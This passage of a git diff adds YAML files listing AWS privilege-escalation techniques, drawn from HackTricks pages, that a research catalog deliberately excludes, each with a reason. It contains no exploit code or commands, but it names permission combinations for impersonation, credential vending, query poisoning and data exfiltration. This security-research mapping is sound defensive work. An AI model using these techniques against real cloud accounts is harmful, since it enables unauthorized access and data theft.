technique: additional privilege escalation paths + reason: "Git installation/branch control and sync configuration\u2192role are not joined." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Controlled replacement image and execution on the role-bearing instance are unverified. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Source-controlled ECS host and replacement task placement are not verified. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: The configured OIDC claims are not joined to a privileged Kubernetes RBAC binding. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: The newly created role and external trust claim/pattern are not joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#studio-domain-level-all-users + source_revision: 4829bd32b9 + technique: studio domain level all users + reason: Domain default lifecycle settings are not joined to a specific user/space execution + role and a subsequent app start. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#studio-space-level-individual-or-shared-spaces + source_revision: 4829bd32b9 + technique: studio space level individual or shared spaces + reason: "Studio space\u2192execution role is not collected; the archived space entry matched\ + \ any SageMaker-trusting role." diff --git a/src/privilege-escalation-paths-research/aws/_excluded_quicksight_role_session_20261022.yaml b/src/privilege-escalation-paths-research/aws/_excluded_quicksight_role_session_20261022.yaml new file mode 100644 index 0000000000..f317f7f43a --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_quicksight_role_session_20261022.yaml @@ -0,0 +1,5 @@ +# IAM-role registration needs a session-bound user identity and resource name. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightregisteruser--map-a-controlled-iam-identity-to-an-admin + source_revision: 171e422299 + technique: Register a controlled IAM role session as a QuickSight administrator + reason: RegisterUser accepts an IAM role only with a SessionName, and its QuickSight username and authorization ARN must match that chosen session identity. A role policy alone does not record the active session name or prove the source controls the registered session. Model this separately from IAM-user self-registration once the session-to-QuickSight-user join is established. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_refresh_g1.yaml b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g1.yaml new file mode 100644 index 0000000000..8551c087da --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g1.yaml @@ -0,0 +1,50 @@ +# AWS refresh G1 (identity/org pages): HackTricks sections at 171e422299 intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-account-management-privesc/README.md#account-management + technique: "section introduction" + reason: "Service introduction and enumeration link; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-control-tower-privesc/README.md#control-tower + technique: "section introduction" + reason: "Service introduction describing the Control Tower orchestration surface; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-control-tower-privesc/README.md#account-factory-customization-afc--run-cloudformation-in-managed-accounts + technique: "Account Factory Customization blueprint tampering" + reason: "The blueprint (a Service Catalog product in a hub account) is applied to managed accounts only when Control Tower enrolls, creates or updates an account with it; the blueprint-to-account mapping and the account-update step are not inferable from collected IAM facts, and a generic servicecatalog:CreateProvisioningArtifact edge would duplicate aws-servicecatalog-createprovisioningartifact-provisionproduct. Needs a Control Tower blueprint inventory (see SCHEMA EXTENSIONS in the G1 report)." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md#eksupdateclusterconfig--expose-the-api-server-to-the-internet + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdateclusterconfig--expose-the-api-server-to-the-internet + historical_source_revision: 171e422299 + technique: "eks:UpdateClusterConfig" + reason: "This exclusion covers only endpoint exposure (public access / CIDR allowlist), which grants no Kubernetes or AWS identity. Changing the authentication mode from CONFIG_MAP to enable access entries is modelled by aws-eks-updateclusterconfig-enable-access-entries." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamuploadsigningcertificate--plant-a-credential-on-another-user + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamuploadsigningcertificate--plant-a-credential-on-another-user + historical_source_revision: 171e422299 + technique: "iam:UploadSigningCertificate" + reason: "IAM X.509 signing certificates authenticate only legacy SOAP API requests, which current AWS services no longer accept; they cannot sign SigV4 requests or obtain STS credentials, so the planted certificate yields no usable identity. Persistence/hygiene concern only." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iam-delegation-requests--iamassociatedelegationrequest-iamacceptdelegationrequest-iamsenddelegationtoken + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iam-delegation-requests--iamassociatedelegationrequest-iamacceptdelegationrequest-iamsenddelegationtoken + historical_source_revision: 171e422299 + technique: "IAM delegation requests" + reason: "Accepting a delegation request exports the accepting identity's authority to an onboarded external partner; it does not escalate a principal in the snapshot, and sts:GetDelegatedAccessToken requires a provider-bound trade-in token from the approved workflow." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizations + technique: "section introduction" + reason: "Service introduction and enumeration link; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#iam-identity-center--sso + technique: "section introduction" + reason: "Page introduction and enumeration link; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#sso-admincreatetrustedtokenissuer--createapplication--putapplicationgrant--impersonate-any-user-via-a-rogue-trusted-token-issuer + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#sso-admincreatetrustedtokenissuer--createapplication--putapplicationgrant--impersonate-any-user-via-a-rogue-trusted-token-issuer + technique: "sso-admin:CreateTrustedTokenIssuer" + reason: "A rogue trusted token issuer impersonates users only towards trusted-identity-propagation applications (data-plane access in services such as Redshift, Q, S3 Access Grants); it yields no permission set session or IAM role." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsgetwebidentitytoken--externalsaas-credential-minting + technique: "sts:GetWebIdentityToken" + reason: "Mints outbound tokens of the caller's own identity for external relying parties; it cannot be exchanged into a different AWS principal, so no AWS privilege edge." + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-research/aws/_excluded_refresh_g2.yaml b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g2.yaml new file mode 100644 index 0000000000..2dc619acff --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g2.yaml @@ -0,0 +1,35 @@ +# AWS refresh G2 (compute pages): HackTricks sections at 171e422299 intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2enableserialconsoleaccess--unlock-the-account-level-gate-for-serial-console-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2enableserialconsoleaccess--unlock-the-account-level-gate-for-serial-console-access + historical_source_revision: 171e422299 + technique: ec2:EnableSerialConsoleAccess + reason: Only lifts the account-level gate; reaching an instance still requires serial-console key push and an OS account password, so the permission alone yields no new identity (consistent with the SendSerialConsoleSSHPublicKey exclusion). + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyinstancemetadatadefaults--account-wide-imds-downgrade + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyinstancemetadatadefaults--account-wide-imds-downgrade + historical_source_revision: 171e422299 + technique: ec2:ModifyInstanceMetadataDefaults + reason: Weakens IMDS defaults for future launches only; credential theft still needs a separate SSRF or code-execution foothold in a workload, so it is a defense-weakening misconfiguration rather than an edge (consistent with the ModifyInstanceMetadataOptions exclusion). + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-image-builder-privesc/README.md#ec2-image-builder + technique: section introduction + reason: Service introduction and enumeration link; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#app-runner + technique: section introduction + reason: Service introduction and enumeration link; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambda + technique: section introduction + reason: Service introduction and enumeration link; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/aws-ecscape-privesc.md#ecs + technique: section introduction + reason: Background on the ECS agent credential channel; the technique is mapped by aws-ecs-ecscape-agent-impersonation. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#ecrputimage-on-a-mutable-lambda-image-tag-later-code-deployment-required + technique: ecr:PutImage on a Lambda image tag + reason: Lambda pins the tag to a digest at deployment, so the write only executes after another principal later deploys the tag; this consumer-driven supply-chain path is modelled by the ECR writer entries in ecr.yaml. + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-research/aws/_excluded_refresh_g3.yaml b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g3.yaml new file mode 100644 index 0000000000..0918dd238b --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g3.yaml @@ -0,0 +1,70 @@ +# AWS catalog refresh (group g3: CloudFormation / Code* / Cloud Control / Service Catalog / Proton / Amplify / Beanstalk / Data Pipeline). +# HackTricks sections at rev 171e422299 intentionally NOT modelled as privesc edges. Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformation + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuild + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#startbuild-env-var-override + technique: codebuild:StartBuild environment-variable / buildspec override (incl. artifact-destination redirect and PYTHONWARNINGS+BROWSER examples) + reason: 'Variant of the StartBuild override technique already modelled as aws-codebuild-startbuild-attached-role (same permission, same target: the project''s stored service role); the examples are execution details.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#codecommit + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codedeploy-privesc/README.md#codedeploy + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipeline + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipeline + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + technique: codepipeline:PollForJobs + reason: Returns short-lived artifact credentials scoped to the pipeline artifact store for a custom action; data access, not another principal's identity (same reasoning as the codepipeline-privesc PollForJobs exclusion). + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + technique: codepipeline:GetJobDetails + reason: Narrower route to the same job artifact credentials as PollForJobs; data access, not a role identity. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#codestar + technique: Service introduction + reason: AWS CodeStar discontinued (2024-07-31); introductory section. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md#datapipeline + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#service-catalog-and-appregistry + technique: Service introduction + reason: Introductory section describing launch constraints; techniques are modelled in servicecatalog.yaml. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloud-control-handler-role-privesc/README.md#cloud-control-api + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloud-control-handler-role-post-exploitation/README.md#getresource--listresources--iampassrole--read-through-a-resource-handler-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloud-control-handler-role-privesc/README.md#getresource--listresources--iampassrole--read-through-a-resource-handler-role + technique: cloudformation:GetResource / ListResources + iam:PassRole + reason: 'Read-only: the passed handler role only reads resource configuration (IAM trust, policies, endpoints) back to the caller; configuration disclosure, no write or code execution as the role. Least Privilege / Exposure.' + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-proton-privesc/README.md#protoncreateenvironment-iampassrole--template-control + technique: proton:CreateEnvironment + iam:PassRole + reason: AWS Proton end of support was 2026-10-07 (no new customers since 2025-10-07); the APIs are no longer available, so no current path. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-proton-privesc/README.md#protoncreatecomponent--arbitrary-iac-through-a-stored-component-role + technique: proton:CreateComponent / UpdateComponent (stored component role) + reason: AWS Proton end of support was 2026-10-07; the APIs are no longer available. + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-research/aws/_excluded_refresh_g4.yaml b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g4.yaml new file mode 100644 index 0000000000..707495e668 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g4.yaml @@ -0,0 +1,168 @@ +# AWS catalog refresh (group g4: SageMaker / Bedrock / Glue / EMR / Athena / Lake Formation / DataZone / Flink / HealthOmics / databases). +# HackTricks sections at rev 171e422299 intentionally NOT modelled as privesc edges. Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athena + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athena + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenaupdatepreparedstatement--poison-a-query-executed-by-another-principal + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatepreparedstatement--poison-a-query-executed-by-another-principal + technique: "athena:UpdatePreparedStatement" + reason: "Data-level confused deputy: the replaced SQL runs with a later caller's data access; no IAM role or principal is obtained." + source_revision: f2aa915198 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenaupdatenamedquery--poison-saved-sql-consumed-by-another-principal + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatenamedquery--poison-saved-sql-consumed-by-another-principal + technique: "athena:UpdateNamedQuery" + reason: "Data-level confused deputy: saved SQL is executed by another principal with its own data access; no IAM role or principal is obtained." + source_revision: f2aa915198 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-aurora-dsql-privesc/README.md#aurora-dsql + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-aurora-dsql-post-exploitation/README.md#dsqldbconnectadmin--database-administrator-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-aurora-dsql-privesc/README.md#dsqldbconnectadmin--database-administrator-access + technique: "dsql:DbConnectAdmin" + reason: "Database-plane administrator access only; no IAM principal is obtained." + source_revision: fd7d56b0a9 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-aurora-dsql-privesc/README.md#dsqlputclusterpolicy--self-grant-database-administrator-access + technique: "dsql:PutClusterPolicy" + reason: "Self-grant of database-plane administrator access through the cluster resource policy; no IAM principal is obtained." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock-agentcorecreateagentruntime--createagentruntimeendpoint-iampassrole---agent-runtime-execution-role-pivot + technique: "bedrock-agentcore:CreateAgentRuntime, CreateAgentRuntimeEndpoint, iam:PassRole" + reason: "Duplicate of the AgentCore page heading modelled as aws-bedrock-agentcore-createagentruntime-passrole." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#amazon-bedrock-agentcore + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-agentcore-post-exploitation/README.md#credential-vend--getworkloadaccesstoken--getresourceapikey--getresourceoauth2token--steal-the-third-party-secrets-agents-use + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#credential-vend--getworkloadaccesstoken--getresourceapikey--getresourceoauth2token--steal-the-third-party-secrets-agents-use + historical_source_revision: 171e422299 + technique: "bedrock-agentcore:GetWorkloadAccessToken*, GetResourceApiKey, GetResourceOauth2Token" + reason: "Vends third-party (SaaS/OAuth) secrets used by agents, not AWS principals; also needs secretsmanager:GetSecretValue on the provider secret." + source_revision: 3ad99dc7ac + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#amazon-datazone + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#blueprint-configuration-role-substitution + technique: "datazone:PutEnvironmentBlueprintConfiguration, iam:PassRole" + reason: "The passed provisioning and manage-access roles run fixed built-in blueprint operations (CloudFormation provisioning, Glue/Lake Formation/Redshift grants); the caller does not control code run as the roles. Confused-deputy provisioning, not a direct role takeover." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-documentdb-privesc/README.md#documentdb + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-documentdb-privesc/README.md#post-exploitation-reset-an-elastic-cluster-administrator-password + technique: "docdb-elastic:UpdateCluster" + reason: "Database administrator access only; Elastic cluster users are not AWS principals." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodb + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#amazon-emr-serverless + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#glue + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-healthomics-privesc/README.md#healthomics + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-healthomics-privesc/README.md#importexport-jobs--iampassrole + technique: "omics:Start*ImportJob / StartReadSetExportJob, iam:PassRole" + reason: "Data-only confused deputy limited to genomic import/export; no credentials or code execution as the role." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#lake-formation + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#become-a-data-lake-administrator--lakeformationputdatalakesettings + technique: "lakeformation:PutDataLakeSettings" + reason: "Grants Lake Formation data-governance administration (data access grants), not an IAM principal's privileges; data exposure belongs to exposure analysis. Covers the Impact and limits subsection." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#self-grant-data-access--lakeformationgrantpermissions--batchgrantpermissions + technique: "lakeformation:GrantPermissions / BatchGrantPermissions" + reason: "Data-only: self-grants catalog/table access; no IAM principal is obtained." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#register-a-location-under-a-privileged-role--lakeformationregisterresource--iampassrole + technique: "lakeformation:RegisterResource, iam:PassRole" + reason: "Data-only confused deputy: the registered role is used to vend scoped S3 data credentials for Lake Formation grants; the caller runs no code as the role." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#managed-service-for-apache-flink + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-flink-post-exploitation/README.md#add-private-network-reach-without-ec2-permission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#add-private-network-reach-without-ec2-permission + technique: "kinesisanalytics:AddApplicationVpcConfiguration" + reason: "Network exposure only; no code execution or principal change by itself." + source_revision: f2aa915198 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#iam-identity-center--sso + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#the-pattern + technique: " Start*/Create* job, iam:PassRole" + reason: "Data-access confused deputy (read/write S3 as the passed role); no credentials or code execution as the role. Code-executing services have dedicated pages; Amazon FinSpace Managed kdb is discontinued." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#relational-database-rds + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#postgresql-aurora + technique: SQL use of an associated RDS role (PostgreSQL) + reason: "Describes how SQL uses the attached role; the role edge is modelled by the RDS ModifyDBInstance and AddRoleTo* entries." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#mysql-aurora + technique: SQL use of an associated RDS role (MySQL) + reason: "Describes how SQL uses the attached role; the role edge is modelled by the RDS ModifyDBInstance and AddRoleTo* entries." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#accessing-external-services + technique: SQL use of attached Redshift roles (Lambda, S3, DynamoDB, EMR) + reason: "Describes how SQL uses the attached roles; the role edge is modelled by the Redshift credential and role-attachment entries. Covers its subsections." + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-research/aws/_excluded_refresh_g5.yaml b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g5.yaml new file mode 100644 index 0000000000..bd7da3da09 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g5.yaml @@ -0,0 +1,98 @@ +# Catalog refresh G5 exclusions (hacktricks-cloud HEAD 171e422299): headings that are not principal escalations. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#api-gateway + technique: API Gateway intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#appflow + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appflow-privesc/README.md#appflow + historical_source_revision: 171e422299 + technique: AppFlow intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#hijack-or-destroy-a-connector-profile + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appflow-privesc/README.md#redshift-and-custom-connector-boundaries + historical_source_revision: 171e422299 + technique: appflow:CreateConnectorProfile|UpdateConnectorProfile + iam:PassRole; custom connectors + reason: 'Hardening guidance: Redshift connector roles are used only for the connector''s data operations and custom connectors invoke a Lambda through its resource policy without a passed role.' + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appsync-post-exploitation/README.md#appsyncupdategraphqlapi--appsynccreateapikey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsyncupdategraphqlapi--appsynccreateapikey + historical_source_revision: 171e422299 + technique: appsync:UpdateGraphqlApi + appsync:CreateApiKey + reason: 'Switches the API''s primary auth to API_KEY: application-level data access through existing resolvers, not an AWS principal escalation.' + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudwatch-omni-privesc/README.md#cloudwatch-omni + technique: CloudWatch Omni intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchcreateview-or-updateview--view-scoped-getrecords--expand-delegated-telemetry-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudwatch-omni-privesc/README.md#cloudwatchcreateview-or-updateview--view-scoped-getrecords--expand-delegated-telemetry-access + technique: cloudwatch:CreateView|UpdateView + cloudwatch:GetRecords + reason: Telemetry data access through a view (no IAM access to source workloads); data read, not principal escalation. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#config + technique: Config intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#aws-config + technique: AWS Config intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipe-stored-role-privesc/README.md#eventbridge-pipes + technique: EventBridge Pipes intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipes-privesc/README.md#amazon-eventbridge-pipes + technique: EventBridge Pipes intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#amazon-eventbridge + technique: EventBridge intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-fis-privesc/README.md#fault-injection-service + technique: FIS intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kinesis-data-streams-privesc/README.md#kinesis-data-streams + technique: Kinesis Data Streams intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kinesis-data-streams-post-exploitation/README.md#createchannel--associatestreamswithchannel--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kinesis-data-streams-privesc/README.md#createchannel--associatestreamswithchannel--iampassrole + technique: kinesis:CreateChannel + kinesis:AssociateStreamsWithChannel + iam:PassRole + reason: 'Bounded data delivery: the passed role only copies future records of an on-demand stream to an S3 bucket or streaming table; data exfiltration, not principal escalation. kinesis:CreateChannel + is not yet in aws_permissions_cat.yaml.' + source_revision: f2aa915198 +- source: 